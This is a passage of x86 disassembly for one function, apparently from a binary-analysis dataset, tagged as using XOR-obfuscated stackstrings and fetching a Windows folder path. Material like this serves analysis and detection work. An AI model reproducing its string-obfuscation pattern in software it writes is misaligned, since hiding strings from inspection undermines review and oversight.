Function at 0x431ed0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50881b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2f4
push ebx
mov eax, ecx
mov bl, dl
push esi
mov dword [ebp - 0x11c], eax
push edi
mov dword [ebp - 0x14], 1
mov dword [ebp - 4], 0
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
push 0x104
lea eax, [ebp - 0x2fc]
mov byte [ebp - 4], 2
push 0
push eax
mov dword [ebp - 0x14], 1
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x2fc]
push eax
movzx eax, bl
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x2fc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431f68
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x1c]
sub eax, edx
cmp eax, ecx
jb 0x4339cd
cmp dword [ebp + 0x20], 0x10
lea eax, [ebp + 0xc]
jb 0x431f8f
mov eax, dword [ebp + 0xc]
push edx
push eax
push ecx
lea eax, [ebp - 0x2fc]
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x14c]
call fcn.004720e0
mov ebx, 0x100001
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 3
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 4
cmp byte [ebp + 8], al
jne 0x43249e
sub esp, 0x18
lea eax, [ebp - 0x14c]
mov ecx, esp
push eax
call fcn.0046a770
push 0
mov dl, 1
lea ecx, [ebp - 0x70]
call fcn.00420cf0
add esp, 0x1c
mov byte [ebp - 4], 5
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x70]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4320e2
lea ecx, [ebp - 0x70]
call fcn.0046c860
mov ecx, dword [ebp - 0x138]
cmp ecx, 0x10
jb 0x432065
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43205b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x20]
cmp ecx, 0x10
jb 0x432099
mov edx, dword [ebp + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43208f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x38]
mov dword [ebp + 0x1c], 0
mov dword [ebp + 0x20], 0xf
mov byte [ebp + 0xc], 0
cmp ecx, 0x10
jb 0x4339b6
mov edx, dword [ebp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4339ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
jmp 0x4339ac
mov dword [ebp - 0x4c], 0
test eax, eax
je 0x43248d
xor edi, edi
mov dword [ebp - 0x44], edi
jmp 0x432100
lea ecx, [ebp - 0x3a]
mov word [ebp - 0x3a], 0x5c
add edi, esi
mov byte [ebp - 0x38], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432112
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x13c]
sub eax, edx
cmp eax, ecx
jb 0x4339cd
cmp dword [ebp - 0x138], 0x10
lea eax, [ebp - 0x14c]
jb 0x432145
mov eax, dword [ebp - 0x14c]
push ecx
lea ecx, [ebp - 0x3a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x164]
call fcn.004720e0
or ebx, 0x40000
mov dword [ebp - 0x14], ebx
sub esp, 0x18
mov byte [ebp - 4], 6
mov esi, esp
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x18], esi
push edi
call fcn.0046a4f0
mov edx, eax
or ebx, 0x80000
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov ecx, dword [edx]
mov dword [esi], ecx
lea ecx, [ebp - 0x118]
mov eax, dword [edx + 4]
mov dword [esi + 4], eax
mov eax, dword [edx + 8]
mov dword [esi + 8], eax
mov eax, dword [edx + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [edx + 0x10]
mov dword [esi + 0x10], eax
mov eax, dword [edx + 0x14]
mov dword [esi + 0x14], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
xor dl, dl
push 0
mov dword [ebp - 0x14], ebx
call fcn.00420cf0
add esp, 0x1c
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x150]
cmp ecx, 0x10
jb 0x432220
mov edx, dword [ebp - 0x164]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432216
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x114]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0x118]
sub ecx, ebx
imul ecx
mov dword [ebp - 0x154], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0x150], 0xf
shr eax, 0x1f
mov byte [ebp - 0x164], 0
add eax, edx
je 0x432449
xor ecx, ecx
mov dword [ebp - 0x48], ecx
test eax, eax
je 0x432449
xor esi, esi
mov dword [ebp - 0xb8], esi
add ebx, esi
cmp dword [ebp + 0x38], 0x10
lea esi, [ebp + 0x24]
mov dword [ebp - 0x8c], esi
jb 0x43228f
mov esi, dword [ebp + 0x24]
mov dword [ebp - 0x8c], esi
cmp dword [ebx + 0x14], 0x10
mov eax, dword [ebx + 0x10]
jb 0x43229a
mov ebx, dword [ebx]
mov ecx, dword [ebp + 0x34]
cmp ecx, eax
ja 0x43240f
sub eax, ecx
test ecx, ecx
je 0x43236d
movsx ecx, byte [esi]
inc eax
add eax, ebx
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x90], eax
sub eax, ebx
push eax
push ecx
push ebx
call fcn.004e2ce0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x43240f
mov ecx, esi
mov edx, edi
mov esi, dword [ebp + 0x34]
sub esi, 4
jb 0x4322f5
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x4322fa
add edx, 4
add ecx, 4
sub esi, 4
jae 0x4322e4
cmp esi, 0xfffffffc
je 0x43232e
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x432327
cmp esi, 0xfffffffd
je 0x43232e
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x432327
cmp esi, 0xfffffffe
je 0x43232e
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x432327
cmp esi, 0xffffffff
je 0x43232e
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x43232e
sbb eax, eax
or eax, 1
jmp 0x432330
xor eax, eax
test eax, eax
je 0x432362
mov eax, dword [ebp - 0x90]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x10c]
push edi
call fcn.004e2ce0
mov esi, dword [ebp - 0x8c]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x4322d8
jmp 0x43240f
sub edi, ebx
cmp edi, 0xffffffff
je 0x43240f
mov ebx, dword [ebp - 0x40]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x9c]
mov ecx, ebx
sub ecx, esi
xor edi, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x90], eax
je 0x4323d6
mov ebx, dword [ebp - 0x70]
add ebx, dword [ebp - 0x44]
jmp 0x4323a0
cmp dword [ebx + 0x14], 0x10
mov eax, ebx
jb 0x4323aa
mov eax, dword [ebx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x4323b4
mov ecx, dword [esi]
push dword [ebx + 0x10]
mov edx, dword [esi + 0x10]
push eax
call fcn.0047a4b0
add esp, 8
test al, al
jne 0x43240f
inc edi
add esi, 0x18
cmp edi, dword [ebp - 0x90]
jb 0x4323a0
mov ebx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x44]
push eax
cmp ebx, dword [ebp - 0x94]
je 0x4323fa
mov ecx, ebx
call fcn.0046a770
add ebx, 0x18
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x98], ebx
jmp 0x43240f
push ebx
lea ecx, [ebp - 0x9c]
call fcn.004773f0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x114]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0x118]
sub ecx, ebx
mov esi, dword [ebp - 0xb8]
inc dword [ebp - 0x48]
add esi, 0x18
imul ecx
mov dword [ebp - 0xb8], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x48], eax
jb 0x432275
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 5
call fcn.0046c860
mov ecx, dword [ebp - 0x6c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x70]
sub ecx, esi
mov ebx, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x44]
inc ebx
imul ecx
add edi, 0x18
mov dword [ebp - 0x4c], ebx
sar edx, 2
mov eax, edx
mov dword [ebp - 0x44], edi
shr eax, 0x1f
add eax, edx
cmp ebx, eax
jae 0x43248d
mov ebx, dword [ebp - 0x28]
jmp 0x432100
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 4
call fcn.0046c860
mov ebx, dword [ebp - 0x40]
jmp 0x43250c
xor eax, eax
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x64], al
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 9
push eax
push 0
lea ecx, [ebp - 0x9c]
call fcn.004772c0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x432506
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4324fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov ebx, dword [ebp - 0x98]
mov edi, dword [ebp - 0x9c]
mov ecx, ebx
sub ecx, edi
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4325f7
xor ecx, ecx
mov dword [ebp - 0xe4], 0xf
xor edx, edx
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xe8], edx
mov byte [ebp - 0xf8], cl
mov byte [ebp - 4], 0xa
cmp ebx, dword [ebp - 0x94]
je 0x43259a
mov eax, dword [ebp - 0xf8]
mov dword [ebx], eax
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], ecx
lea ecx, [edx + 0xf]
mov dword [ebx + 0x10], edx
mov dword [ebx + 0x14], 0xf
add ebx, 0x18
mov byte [ebp - 0xf8], dl
mov dword [ebp - 0x98], ebx
jmp 0x4325bf
lea eax, [ebp - 0xf8]
push eax
push ebx
lea ecx, [ebp - 0x9c]
call fcn.004772c0
mov ebx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0xe4]
mov edi, dword [ebp - 0x9c]
mov byte [ebp - 4], 4
cmp ecx, 0x10
jb 0x4325f7
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4325ed
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x88], 0x9499b9a8
xor ecx, ecx
mov dword [ebp - 0x84], 0xa8da9599
mov dword [ebp - 0x80], 0x9a8a9c88
mov word [ebp - 0x7c], 0x100
lea ebx, [ebx]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 0xc
jb 0x432620
sub esp, 0x18
mov byte [ebp - 0x7b], 0
mov esi, esp
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x18], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432646
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x13c]
sub eax, edx
cmp eax, ecx
jb 0x4339d7
cmp dword [ebp - 0x138], 0x10
lea eax, [ebp - 0x14c]
jb 0x432679
mov eax, dword [ebp - 0x14c]
push ecx
lea ecx, [ebp - 0x88]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
mov ecx, esi
call fcn.004720e0
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x1c8]
or eax, 0x20000
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
call fcn.00409f50
add esp, 0x18
xor eax, eax
mov esi, 0xf
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], esi
mov byte [ebp - 0x17c], al
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x1b8], eax
je 0x432964
sub esp, 0x28
lea edx, [ebp - 0x1c8]
mov eax, esp
lea ecx, [ebp - 0xcc]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.0046ea60
add esp, 0x30
mov byte [ebp - 4], 0xd
xor ecx, ecx
mov dword [ebp - 0x22], 0x94a9869b
mov dword [ebp - 0x1e], 0x8f8a808a
mov word [ebp - 0x1a], 0x100
lea esp, [esp]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 8
jb 0x432730
lea eax, [ebp - 0x22]
mov byte [ebp - 0x19], 0
push eax
lea ecx, [ebp - 0xcc]
call fcn.0046e710
cmp byte [eax], 0
je 0x432955
mov dword [ebp - 0x22], 0x94a9869b
xor ecx, ecx
mov dword [ebp - 0x1e], 0x8f8a808a
mov word [ebp - 0x1a], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 8
jb 0x432770
lea eax, [ebp - 0x22]
mov byte [ebp - 0x19], 0
push eax
lea ecx, [ebp - 0xcc]
call fcn.0046e710
mov edx, eax
mov dword [ebp - 0x37], 0x85959b91
mov dword [ebp - 0x33], 0x9e8e8981
xor ecx, ecx
mov dword [ebp - 0x2f], 0x9a95a298
mov word [ebp - 0x2b], 0x79
mov byte [ebp - 0x29], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xd
jb 0x4327b4
lea eax, [ebp - 0x37]
mov byte [ebp - 0x29], 0
push eax
mov ecx, edx
call fcn.0046e710
cmp byte [eax], 0
je 0x432955
mov dword [ebp - 0x22], 0x94a9869b
xor ecx, ecx
mov dword [ebp - 0x1e], 0x8f8a808a
mov word [ebp - 0x1a], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 8
jb 0x4327f0
lea eax, [ebp - 0x22]
mov byte [ebp - 0x19], 0
push eax
lea ecx, [ebp - 0xcc]
call fcn.0046e710
mov edx, eax
mov dword [ebp - 0x37], 0x85959b91
mov dword [ebp - 0x33], 0x9e8e8981
xor ecx, ecx
mov dword [ebp - 0x2f], 0x9a95a298
mov word [ebp - 0x2b], 0x79
mov byte [ebp - 0x29], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xd
jb 0x432834
lea eax, [ebp - 0x37]
mov byte [ebp - 0x29], 0
push eax
mov ecx, edx
call fcn.0046e710
lea ecx, [ebp - 0x1b0]
push ecx
mov ecx, eax
call fcn.0046e840
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x164]
call fcn.00402770
mov edx, eax
lea eax, [ebp - 0x17c]
cmp eax, edx
je 0x4328c2
mov ecx, dword [edx]
mov eax, dword [edx + 0xc]
mov esi, dword [edx + 0x14]
mov dword [ebp - 0x17c], ecx
mov ecx, dword [edx + 4]
mov dword [ebp - 0x178], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x170], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], esi
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov ecx, dword [ebp - 0x150]
cmp ecx, 0x10
jb 0x4328fc
mov edx, dword [ebp - 0x164]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4328f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339dc
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0xf
mov byte [ebp - 0x164], 0
cmp ecx, 0x10
jb 0x432955
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43294b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339dc
push ecx
push edx
call fcn.004df511
add esp, 8
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0xc
call fcn.00468450
sub ebx, edi
mov eax, 0x2aaaaaab
imul ebx
xor ecx, ecx
sar edx, 2
mov eax, edx
mov dword [ebp - 0x8c], ecx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x90], eax
je 0x4338ad
jmp 0x432990
cmp byte [ebp + 8], 0
jne 0x432a36
lea eax, [ecx + ecx*2]
mov esi, dword [edi + eax*8 + 0x10]
lea edx, [edi + eax*8]
test esi, esi
je 0x432a36
mov dword [ebp - 0x36], 0x9499b9a8
xor ecx, ecx
mov dword [ebp - 0x32], 0xa8da9599
mov dword [ebp - 0x2e], 0x9a8a9c88
mov word [ebp - 0x2a], 0x100
lea esp, [esp]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xc
jb 0x4329d0
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x29], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4329e8
mov eax, closesocket
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x4339cd
cmp dword [edx + 0x14], 0x10
jb 0x432a08
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0x36]
push eax
push esi
push edx
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf8]
call fcn.004720e0
mov ebx, dword [ebp - 0x28]
or ebx, 0x10000
lea esi, [ebp - 0xf8]
mov byte [ebp - 4], 0xf
or ebx, 2
jmp 0x432a61
xor eax, eax
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x64], al
mov dword [ebp - 4], 0x10
lea esi, [ebp - 0x64]
mov ebx, dword [ebp - 0x28]
or ebx, 4
lea ecx, [ebp - 0x3a]
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x3a], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432a74
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x13c]
sub eax, edx
cmp eax, ecx
jb 0x4339cd
cmp dword [ebp - 0x138], 0x10
lea eax, [ebp - 0x14c]
jb 0x432aa7
mov eax, dword [ebp - 0x14c]
push ecx
lea ecx, [ebp - 0x3a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x134]
call fcn.004720e0
or ebx, 0x1000
mov dword [ebp - 0x14], ebx
sub esp, 0x18
mov dword [ebp - 4], 0x11
mov ecx, esp
lea eax, [ebp - 0x134]
mov dword [ebp - 0x18], ecx
push esi
push eax
push dword [ebp - 0x18]
call fcn.00471ed0
or ebx, 0x800
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x14], ebx
call fcn.00409f50
add esp, 0x18
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x120]
cmp ecx, 0x10
jb 0x432b3a
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432b30
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x14
test bl, 4
je 0x432b7d
mov ecx, dword [ebp - 0x50]
and ebx, 0xfffffffb
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x432b7d
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432b73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x15
test bl, 2
je 0x432bc6
mov ecx, dword [ebp - 0xe4]
and ebx, 0xfffffffd
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x432bc6
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432bbc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
xor eax, eax
xor esi, esi
mov edi, 0xf
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x188], esi
mov dword [ebp - 0x184], edi
mov byte [ebp - 0x198], al
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x1e4], esi
je 0x432ef9
cmp dword [ebp - 0x16c], esi
jne 0x432ef9
sub esp, 0x28
lea edx, [ebp - 0x1f4]
mov eax, esp
lea ecx, [ebp - 0x1dc]
push esi
push 1
mov dword [eax + 0x24], esi
call fcn.0046ea60
add esp, 0x30
mov byte [ebp - 4], 0x17
xor ecx, ecx
mov dword [ebp - 0xe0], 0x94a9869b
mov dword [ebp - 0xdc], 0x8f8a808a
mov word [ebp - 0xd8], 0x100
jmp 0x432c60
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0xe0], al
inc ecx
cmp ecx, 8
jb 0x432c60
lea eax, [ebp - 0xe0]
mov byte [ebp - 0xd7], 0
push eax
lea ecx, [ebp - 0x1dc]
call fcn.0046e710
cmp byte [eax], 0
je 0x432ec8
mov dword [ebp - 0xd6], 0x94a9869b
xor ecx, ecx
mov dword [ebp - 0xd2], 0x8f8a808a
mov word [ebp - 0xce], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0xd6], al
inc ecx
cmp ecx, 8
jb 0x432cb2
lea eax, [ebp - 0xd6]
mov byte [ebp - 0xcd], 0
push eax
lea ecx, [ebp - 0x1dc]
call fcn.0046e710
mov edx, eax
mov dword [ebp - 0x107], 0x85959b91
mov dword [ebp - 0x103], 0x9e8e8981
xor ecx, ecx
mov dword [ebp - 0xff], 0x9a95a298
mov word [ebp - 0xfb], 0x79
mov byte [ebp - 0xf9], 1
mov edi, edi
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x107], al
inc ecx
cmp ecx, 0xd
jb 0x432d10
lea eax, [ebp - 0x107]
mov byte [ebp - 0xf9], 0
push eax
mov ecx, edx
call fcn.0046e710
cmp byte [eax], 0
je 0x432ec8
mov dword [ebp - 0x6e], 0x94a9869b
xor ecx, ecx
mov dword [ebp - 0x6a], 0x8f8a808a
mov word [ebp - 0x66], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x6e], al
inc ecx
cmp ecx, 8
jb 0x432d55
lea eax, [ebp - 0x6e]
mov byte [ebp - 0x65], 0
push eax
lea ecx, [ebp - 0x1dc]
call fcn.0046e710
mov edx, eax
mov dword [ebp - 0xcb], 0x85959b91
mov dword [ebp - 0xc7], 0x9e8e8981
xor ecx, ecx
mov dword [ebp - 0xc3], 0x9a95a298
mov word [ebp - 0xbf], 0x79
mov byte [ebp - 0xbd], 1
jmp 0x432db0
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0xcb], al
inc ecx
cmp ecx, 0xd
jb 0x432db0
lea eax, [ebp - 0xcb]
mov byte [ebp - 0xbd], 0
push eax
mov ecx, edx
call fcn.0046e710
lea ecx, [ebp - 0x1b0]
push ecx
mov ecx, eax
call fcn.0046e840
mov edx, eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x64]
call fcn.00402770
mov edx, eax
lea eax, [ebp - 0x198]
cmp eax, edx
je 0x432e44
mov ecx, dword [edx]
mov eax, dword [edx + 0xc]
mov esi, dword [edx + 0x10]
mov edi, dword [edx + 0x14]
mov dword [ebp - 0x198], ecx
mov ecx, dword [edx + 4]
mov dword [ebp - 0x194], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x190], ecx
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x188], esi
mov dword [ebp - 0x184], edi
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x432e78
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432e6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
cmp ecx, 0x10
jb 0x432ec8
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432ebe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 4], 0x16
call fcn.00468450
test esi, esi
je 0x432ef9
lea eax, [ebp - 0x198]
cmp edi, 0x10
jb 0x432eec
mov eax, dword [ebp - 0x198]
push esi
push eax
lea ecx, [ebp - 0x17c]
call fcn.0046a350
mov dword [ebp - 0xb3], 0x96959ab8
xor ecx, ecx
mov dword [ebp - 0xaf], 0x8fa9d994
mov dword [ebp - 0xab], 0x989f8f93
mov dword [ebp - 0xa7], 0x666e5d65
mov dword [ebp - 0xa3], 0x636a6072
mov word [ebp - 0x9f], 0x6a
mov byte [ebp - 0x9d], 1
lea ecx, [ecx]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0xb3], al
inc ecx
cmp ecx, 0x15
jb 0x432f40
cmp byte [ebp + 8], 0
mov byte [ebp - 0x9d], 0
jne 0x432fe2
cmp dword [ebp - 0x90], 1
mov ecx, dword [ebp - 0x9c]
jne 0x432f77
cmp dword [ecx + 0x10], 0
je 0x432fe2
mov eax, dword [ebp - 0x8c]
mov word [ebp - 0x43], 0x5c
mov byte [ebp - 0x41], 0
lea eax, [eax + eax*2]
mov esi, dword [ecx + eax*8 + 0x10]
lea edx, [ecx + eax*8]
lea ecx, [ebp - 0x43]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432f97
mov eax, closesocket
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x4339cd
cmp dword [edx + 0x14], 0x10
jb 0x432fb7
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0x43]
push eax
push esi
push edx
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1b0]
call fcn.004720e0
or ebx, 0x8000
lea esi, [ebp - 0x1b0]
mov byte [ebp - 4], 0x19
or ebx, 8
jmp 0x43300a
xor eax, eax
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x64], al
lea esi, [ebp - 0x64]
mov dword [ebp - 4], 0x1a
or ebx, 0x10
lea ecx, [ebp - 0x3f]
mov dword [ebp - 0x14], ebx
